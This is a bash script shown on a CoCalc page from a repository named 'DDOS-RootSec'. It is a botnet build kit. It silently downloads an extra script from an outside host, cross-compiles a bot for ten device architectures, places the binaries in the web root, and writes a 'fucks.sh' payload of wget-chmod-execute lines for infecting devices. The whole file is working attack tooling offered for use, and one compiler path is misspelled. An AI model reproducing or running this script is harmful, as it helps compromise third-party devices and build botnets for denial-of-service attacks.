Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/NSA_1_6_16.4640d9.sh
5038 views
1
#!/bin/bash
2
echo '\x1b[1;35m'###########################################################################
3
echo ' \r\n'#
4
echo ' ███████ ███ ███ ████████ ███ ███ ███████ ██████ ███ ███ \r\n'#
5
echo ' ████████ ███ ███ ████████ ███ ███ ████████ ████████ ███ ███ \r\n'#
6
echo ' ██▒ ███ ██▒ ███ ██▒ ██▒ ▒██ ██▒ ███ ██▒ ███ ██▒ ▒██ \r\n'#
7
echo ' ▒█ █▒█ ▒█▒ █▒█ ▒█▒ ▒█▒ █▒▒ ▒█ █▒█ ▒█▒ █▒█ ▒█▒ █▒▒ \r\n'#
8
echo ' █▒█▒█▒█ █▒█ ▒█▒ █▒▒ ▒█▒█▒ █▒█▒█▒█ █▒█ ▒█▒ ▒██▒█▒ \r\n'#
9
echo ' ▒▒▒█▒▒▒▒ ▒█▒ ▒▒▒ ▒▒▒ █▒▒▒ ▒▒▒█▒▒▒▒ ▒█▒ ▒▒▒ █▒▒▒ \r\n'#
10
echo ' ▒▒░ ▒▒▒ ▒▒░ ▒▒▒ ▒▒░ ▒▒░ ▒▒░ ▒▒▒ ▒▒░ ▒▒▒ ▒░ ░▒▒ \r\n'#
11
echo ' ░▒░ ▒░▒ ░▒░ ▒░▒ ░▒░ ░▒░ ░▒░ ▒░▒ ░▒░ ▒░▒ ░▒░ ▒░▒ \r\n'#
12
echo ' ░░░ ░░░░ ░░░░░ ░░ ░░ ░░░░ ░░ ░░ ░░░░ ░░░░░ ░░ ░░ ░░░ \r\n'#
13
echo ' ░░░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░░ ░ ░░ ░ ░ ░ ░ ░░ \r\n'#
14
echo ' ~[ BuZy BoX TeRRoRiSt ]~ \r\n'#
15
echo '\x1b[0m'##############################################################################
16
17
#########################################
18
###############Made date#################
19
#########################################
20
echo "\e[0;31mThis version was made on 1/6/2016"
21
echo "\e[0;31mIf you should at any point want to scan using LRAB, check in /etc/.scan and run it"
22
#########################################
23
###############Botnames##################
24
#########################################
25
NSA2='http://b.1339.cf/xulaihn.sh' #NSA2
26
L1='jackmymipsel' #mipsel
27
L2='jackmymips' #mips
28
L3='jackmysh4' #sh4
29
L4='jackmyx86' #x86_64
30
L5='jackmyarmv6' #armv6l
31
L6='jackmyi686' #i686
32
L7='jackmypowerpc' #powerpc
33
L8='jackmyi586' #i586
34
L9='jackmym68k' #m68k
35
L10='jackmysparc' #sparc
36
37
#########################################
38
##############Wgetlinks##################
39
#########################################
40
mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2'
41
mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2'
42
sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2'
43
x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2'
44
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
45
i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2'
46
ppc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2'
47
i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2'
48
m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2'
49
sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2'
50
if [ $# != 1 ]; then
51
echo "Usage: <file to compile>"
52
exit 0
53
fi
54
sleep 5
55
echo "\e[0;31myou have 5 seconds to cancel this if you fucked up"
56
#########################################
57
################MISC#####################
58
#########################################
59
mkdir /etc/.scan
60
wget --quiet $NSA2 -O NSA2.sh
61
cd /root
62
apt-get install tar -q
63
yum install tar -y -q
64
yum install bzip -y || yum install bzip2 -y
65
#########################################
66
################WGETS####################
67
#########################################
68
echo "\e[0;31mWgetting cross-compilers be paitent."
69
if [ -d cross-compiler-mips ]
70
then
71
echo -e "\e[0;31mcross-compiler-mips is present, no need for wget"
72
else
73
wget --quiet $mips
74
tar -xvjf cross-compiler-mips*
75
fi
76
if [ -d cross-compiler-mipsel ]
77
then
78
echo -e "\e[0;31mcross-compiler-mipsel is present, no need for wget"
79
else
80
wget --quiet $mipsel
81
tar -xvjf cross-compiler-mipsel*
82
fi
83
if [ -d cross-compiler-sh4 ]
84
then
85
echo -e "\e[0;31mcross-compiler-sh4 is present, no need for wget"
86
else
87
wget --quiet $sh4
88
tar -xvjf cross-compiler-sh4*
89
fi
90
if [ -d cross-compiler-x86_64 ]
91
then
92
echo -e "\e[0;31mcross-compiler-x86_64 is present, no need for wget"
93
else
94
wget --quiet $x86_64
95
tar -xvjf cross-compiler-x86_64*
96
fi
97
if [ -d cross-compiler-armv6l ]
98
then
99
echo -e "\e[0;31mcross-compiler-armv6l is present, no need for wget"
100
else
101
wget --quiet $armv6l
102
tar -xvjf cross-compiler-armv6l*
103
fi
104
if [ -d cross-compiler-powerpc ]
105
then
106
echo -e "\e[0;31mcross-compiler-powerpc is present, no need for wget"
107
else
108
wget --quiet $ppc
109
tar -xvjf cross-compiler-powerpc*
110
fi
111
if [ -d cross-compiler-m68k ]
112
then
113
echo -e "\e[0;31mcross-compiler-m68k is present, no need for wget"
114
else
115
wget --quiet $m68k
116
tar -xvjf cross-compiler-m68k*
117
fi
118
if [ -d cross-compiler-sparc ]
119
then
120
echo -e "\e[0;31mcross-compiler-sparc is present, no need for wget"
121
else
122
wget --quiet $sparc
123
tar -xvjf cross-compiler-sparc*
124
fi
125
if [ -d cross-compiler-i586 ]
126
then
127
echo -e "\e[0;31mcross-compiler-i586 is present, no need for wget"
128
else
129
wget --quiet $i586
130
tar -xvjf cross-compiler-i586*
131
fi
132
if [ -d cross-compiler-i686 ]
133
then
134
echo -e "\e[0;31mcross-compiler-i686 is present, no need for wget"
135
else
136
wget --quiet $i686
137
tar -xvjf cross-compiler-i686*
138
fi
139
rm -rf *.tar.bz2
140
echo -e "\e[0;31mDone."
141
sleep 3
142
143
#########################################
144
##############Compiling##################
145
#########################################
146
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $L1 $1 > /dev/null 2>&1
147
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $L2 $1 > /dev/null 2>&1
148
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $L3 $1 > /dev/null 2>&1
149
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $L4 $1 > /dev/null 2>&1
150
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $L5 $1 > /dev/null 2>&1
151
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $L6 $1 > /dev/null 2>&1
152
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $L7 $1 > /dev/null 2>&1
153
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $L8 $1 > /dev/null 2>&1
154
./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $L9 $1 > /dev/null 2>&1
155
./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $L10 $1 > /dev/null 2>&1
156
echo -e "\e[0;31mDone compiling binarys, stripped and bytes reduced."
157
mv jackmy* /var/www/html/
158
159
######################################
160
##############/'d'####################
161
######################################
162
echo -e "\e[0;31mIf you do not have apache/a webserver setup, cancel this and install it."
163
echo -e "\e[0;31mThis was removed because it's annoying to install it through bash, do it yourself."
164
165
#########################################
166
#########Setting up fucks.sh###########
167
#########################################
168
echo -e "\e[0;31mTouching fucks.sh"
169
rm -rf fucks.sh
170
cd /var/www/html/; touch fucks.sh
171
echo -e "\e[0;31mCreating Payload now."
172
echo -e "\e[0;31mThis will take a few, be patient.."
173
sleep 2
174
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> fucks.sh
175
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> fucks.sh
176
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> fucks.sh
177
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> fucks.sh
178
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> fucks.sh
179
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> fucks.sh
180
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> fucks.sh
181
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> fucks.sh
182
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> fucks.sh
183
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> fucks.sh
184
#########################################
185
###############ULIMIT#####################
186
#########################################
187
cd /root
188
ulimit -u 999999;ulimit -n 999999
189
echo "#.bashrc">> .bashrc
190
echo "#ulimit set">> .bashrc
191
echo "ulimit -u 999999">> .bashrc
192
echo "ulimit -n 999999">> .bashrc
193
bash
194
#########################################
195
###############Credz#####################
196
#########################################
197
echo -e "\e[0;31mMade by XORA, XMPP: [email protected] ; Skype: icingcups"
198
199